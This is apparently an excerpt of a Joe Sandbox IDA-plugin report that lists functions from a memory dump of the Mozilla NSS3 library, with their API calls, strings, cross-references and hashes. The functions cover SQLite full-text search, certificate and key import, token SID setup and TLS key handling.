Instruction ID: c5f04f0a2f346e5dae66281803a7f17cdc0d8629440a6c1261693670f6974a95
Opcode Fuzzy Hash: 0cddff6899eefafb85f1548b2262b6fc4ee642fee917afbb3f8ad4fd7a60135e
Instruction Fuzzy Hash: E0D25BB4E04249CFDB08CF95CC98A9DB7B2BF49308F288169D865AB751D731A847CF51

Function 6C62ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C62ED38

Part of subcall function 6C5C4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5C4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C62EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C62EFE4

Part of subcall function 6C6EDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5C5001,?,00000003,00000000), ref: 6C6EDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C62F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C62F129
sqlite3_mprintf.NSS3(optimize), ref: 6C62F1D1
sqlite3_free.NSS3(?), ref: 6C62F368

Strings

matchinfo, xrefs: 6C62F04F, 6C62F082, 6C62F0C2, 6C62F0F2, 6C62F124, 6C62F169
offsets, xrefs: 6C62EFAF, 6C62EFDF, 6C62F01F
porter, xrefs: 6C62ED97
simple, xrefs: 6C62ED79
fts4aux, xrefs: 6C62ECF9
fts3_tokenizer, xrefs: 6C62EE1A, 6C62EEA8
optimize, xrefs: 6C62F199, 6C62F1CC, 6C62F211
fts4, xrefs: 6C62F2AD
unicode61, xrefs: 6C62EDB5
fts3, xrefs: 6C62F247
fts3tokenize, xrefs: 6C62F30F
snippet, xrefs: 6C62EF05, 6C62EF37, 6C62EF7C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: a0627eba1dbd78497949c2a7f635acf3ba5b568ee61ca1e90a3a05a983dcda27
Instruction ID: ccb92a4713e0f26da0626deb8a47fb53af81b458ef6e4713b8a308857cfabf51
Opcode Fuzzy Hash: a0627eba1dbd78497949c2a7f635acf3ba5b568ee61ca1e90a3a05a983dcda27
Instruction Fuzzy Hash: 5E0202B1B043108BEB049F76AC8572B36B1BFC5708F18453CD95A87B01EB79E8468B97

Function 6C6A7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C6A7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6A7D1E

Part of subcall function 6C6A7870: SECOID_FindOID_Util.NSS3(?,?,?,6C6A91C5), ref: 6C6A788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6A7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6A7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6A7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6A7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6A7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6A7E58

Part of subcall function 6C6A7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6A91C5), ref: 6C6A78BB
Part of subcall function 6C6A7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6A91C5), ref: 6C6A78FA
Part of subcall function 6C6A7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6A91C5), ref: 6C6A7930
Part of subcall function 6C6A7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A91C5), ref: 6C6A7951
Part of subcall function 6C6A7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6A7964
Part of subcall function 6C6A7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6A797A
Part of subcall function 6C6A7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6A7988
Part of subcall function 6C6A7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6A7998
Part of subcall function 6C6A7870: free.MOZGLUE(00000000), ref: 6C6A79A7
Part of subcall function 6C6A7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6A91C5), ref: 6C6A79BB
Part of subcall function 6C6A7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6A91C5), ref: 6C6A79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6A7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6A7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6A7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6A7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6A7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C6A8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6A8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6A8093
SECOID_FindOID_Util.NSS3 ref: 6C6A7F29

Part of subcall function 6C6A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C648298,?,?,?,6C63FCE5,?), ref: 6C6A07BF
Part of subcall function 6C6A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6A07E6
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A081B
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6A8072
SECOID_FindOID_Util.NSS3 ref: 6C6A80F5

Part of subcall function 6C6ABC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C6A800A,00000000,?,00000000,?), ref: 6C6ABC3F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: e411b6e5fd104b4ac84a1922a1a8ae49de7329b9313c70ea4b9c7cec3905e779
Instruction ID: fac4ee9ab45a6d9ad8db3afce295e6388645df912925f7f5d722949a5860aa28
Opcode Fuzzy Hash: e411b6e5fd104b4ac84a1922a1a8ae49de7329b9313c70ea4b9c7cec3905e779
Instruction Fuzzy Hash: 64E1B4716083019FD700CF65C840B5BB7E5BF49308F14496DE89A9BB65E731EC16CB9A

Function 6C631C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C631C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C631C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C631CA1
GetLengthSid.ADVAPI32(?), ref: 6C631CA9
malloc.MOZGLUE(00000000), ref: 6C631CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C631CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C631CE4
GetLengthSid.ADVAPI32(?), ref: 6C631CEC
malloc.MOZGLUE(00000000), ref: 6C631CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C631D0F
CloseHandle.KERNEL32(?), ref: 6C631D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C631D4D
GetLastError.KERNEL32 ref: 6C631D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C631D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C631D7A

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 95ae6840e3a57ccb9b5e99de488786dce62fbf95eee93a848fa6911c7141639d
Instruction ID: 8bb65205cf132d75e24fe9fc901638923874ddb330d036f44d018464ec3c92a7
Opcode Fuzzy Hash: 95ae6840e3a57ccb9b5e99de488786dce62fbf95eee93a848fa6911c7141639d
Instruction Fuzzy Hash: 19314FB1A00218AFEF11AF64CD48BAABBB8FF4A345F044175FA0992250EB305995CF65

Function 6C633D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C633DFB
__allrem.LIBCMT ref: 6C633EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C633FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C634047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6340DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C63415F
__allrem.LIBCMT ref: 6C63416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C634288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6342AB
__allrem.LIBCMT ref: 6C6342B7

Strings

%03d, xrefs: 6C6342E8
%02d, xrefs: 6C634086
%lld, xrefs: 6C633FB2
%04d, xrefs: 6C63407B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 7751df27761850c232e1593c8a612a60a626b6e15fdde9b025a4a47d1ac10574
Instruction ID: 40961d99e09820e11a64e8aedb440fcb0c92419e826baa0a8fb378904b95c740
Opcode Fuzzy Hash: 7751df27761850c232e1593c8a612a60a626b6e15fdde9b025a4a47d1ac10574
Instruction Fuzzy Hash: 74F16471A087408FD715CF38C880BABFBF6AF85304F10AA2DF48997651EB71D8468B46

Function 6C63EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63EF63

Part of subcall function 6C6487D0: PORT_NewArena_Util.NSS3(00000800,6C63EF74,00000000), ref: 6C6487E8
Part of subcall function 6C6487D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C63EF74,00000000), ref: 6C6487FD
Part of subcall function 6C6487D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C64884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C63F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C63F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C63F374
PL_strcasecmp.NSS3(6C782FD4,?), ref: 6C63F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C63F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C63F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C63F67D
CERT_DestroyName.NSS3(?), ref: 6C63F68B

Part of subcall function 6C648320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C648338
Part of subcall function 6C648320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C648364
Part of subcall function 6C648320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C64838E
Part of subcall function 6C648320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6483A5
Part of subcall function 6C648320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6483E3

Part of subcall function 6C6484C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6484D9
Part of subcall function 6C6484C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C648528

Part of subcall function 6C648900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?,00000000), ref: 6C648955

Strings

*, xrefs: 6C63F3C6
", xrefs: 6C63F21B
oid., xrefs: 6C63F2CF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 27385b52059d861a5a00688ef121c929db6ea599456caef64cfca9a14efc0562
Instruction ID: e4ed350bf61f6544b177d8607591c4ba7721fdd5643a341cd4b903f18d33cf4a
Opcode Fuzzy Hash: 27385b52059d861a5a00688ef121c929db6ea599456caef64cfca9a14efc0562
Instruction Fuzzy Hash: 9A224A7160C3618BD310CE58C49076AB7E6AB8632CF187AAEE49D87791E7319C05C79B

Function 6C5E1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5E1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5E1FB7

Strings

attached databases must use the same text encoding as main database, xrefs: 6C5E20CA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5E1F83
sqlite_master, xrefs: 6C5E1C61
abort due to ROLLBACK, xrefs: 6C5E2223
sqlite_temp_master, xrefs: 6C5E1C5C
no more rows available, xrefs: 6C5E2264
another row available, xrefs: 6C5E2287
unsupported file format, xrefs: 6C5E2188
unknown error, xrefs: 6C5E2291
table, xrefs: 6C5E1C8B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 06aaceab938c9cfcd0afd2d22c3d0b7733eda69030daa40113f705a1f91c97f2
Instruction ID: 8342a53a51849f60457d5aea12e47577b76b929f68c2c201fe7eb81c45093eaa
Opcode Fuzzy Hash: 06aaceab938c9cfcd0afd2d22c3d0b7733eda69030daa40113f705a1f91c97f2
Instruction Fuzzy Hash: A712E2706083428FD715CF19CC84A5ABBF2BF89318F18896DE8958BB56D731EC45CB92

Function 6C605F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

BINARY, xrefs: 6C608708, 6C608737, 6C6087B8
-, xrefs: 6C606228
ON clause references tables to its right, xrefs: 6C606BEC
2, xrefs: 6C6065B4
NOCASE, xrefs: 6C608703
-, xrefs: 6C6062F9
u, xrefs: 6C6081DA
sub-select returns %d columns - expected %d, xrefs: 6C60805F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 6fc8a31a0d6f76d949b07cd68be9439c581f210aa17b578ae3fc2d19ccf2df44
Instruction ID: ff0ecde02aac6178497a5ad544f8f4caeaeeb4314766fbc51375bc9a16c30456
Opcode Fuzzy Hash: 6fc8a31a0d6f76d949b07cd68be9439c581f210aa17b578ae3fc2d19ccf2df44
Instruction Fuzzy Hash: 444371747083418FD308CF19C590B5AB7E2BFC9318F148A6DE8999B752D731E886CB96

Function 6C6AEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6AC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6ADAE2,?), ref: 6C6AC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6AF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6AF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C6AF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6AF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C77218C), ref: 6C6AF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C6AF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6AF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6AF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6AF210

Part of subcall function 6C6552D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C6AF1E9,?,00000000,?,?), ref: 6C6552F5
Part of subcall function 6C6552D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C65530F
Part of subcall function 6C6552D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C655326
Part of subcall function 6C6552D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C6AF1E9,?,00000000,?,?), ref: 6C655340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6AF227

Part of subcall function 6C69FAB0: free.MOZGLUE(?,-00000001,?,?,6C63F673,00000000,00000000), ref: 6C69FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C6AF23E

Part of subcall function 6C69BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C64E708,00000000,00000000,00000004,00000000), ref: 6C69BE6A
Part of subcall function 6C69BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6504DC,?), ref: 6C69BE7E
Part of subcall function 6C69BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C69BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6AF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C6AF3A8

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6AF3B3

Part of subcall function 6C652D20: PK11_DestroyObject.NSS3(?,?), ref: 6C652D3C
Part of subcall function 6C652D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C652D5F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 8d92be8fbebf74752fcaaf11a2f74866d854dc302c72d9325c4ae94115c7fce6
Instruction ID: 1bbc2820c64ca702d03ddd1d6fdc97257225fc469eb2c2831c14790637dd1f60
Opcode Fuzzy Hash: 8d92be8fbebf74752fcaaf11a2f74866d854dc302c72d9325c4ae94115c7fce6
Instruction Fuzzy Hash: 5FD190B5E016059FDB10CFE9D880A9EB7F5EF49308F158029E915A7711EB31EC06CB9A

Function 6C6DDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C6B7FFA,00000000,?,6C6E23B9,00000002,00000000,?,6C6B7FFA,00000002), ref: 6C6DDE33

Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090AB
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090C9
Part of subcall function 6C709090: EnterCriticalSection.KERNEL32 ref: 6C7090E5
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C709116
Part of subcall function 6C709090: LeaveCriticalSection.KERNEL32 ref: 6C70913F

Part of subcall function 6C6DD000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6DDE74,6C6B7FFA,00000002,?,?,?,?,?,00000000,6C6B7FFA,00000000,?,6C6E23B9,00000002), ref: 6C6DD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C6B7FFA,00000000,?,6C6E23B9,00000002,00000000,?,6C6B7FFA,00000002), ref: 6C6DDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6DDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6DE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6DE121
PK11_FreeSymKey.NSS3(?), ref: 6C6DE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6DE195
PR_GetCurrentThread.NSS3 ref: 6C6DE1FC

Part of subcall function 6C6D2460: PR_SetError.NSS3(FFFFE005,00000000,6C777379,00000002,?), ref: 6C6D2493

Strings

early application data, xrefs: 6C6DDFC9
application data, xrefs: 6C6DDFE0
handshake data, xrefs: 6C6DDFF7
key, xrefs: 6C6DE046

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 1e695d85cd4e8386c17902d57cf0e6786401ef972bcaf7b17d6e7380503f2fdc
Instruction ID: adbf7ea9d9ce239502be27344b4be26e24560c68f5dd9475ad87224fcd34e923
Opcode Fuzzy Hash: 1e695d85cd4e8386c17902d57cf0e6786401ef972bcaf7b17d6e7380503f2fdc
Instruction Fuzzy Hash: 18C1E3B1B00215ABDB14DF69CC80BEAB7B4FF49308F054129E9099BA51E731F954CBE9

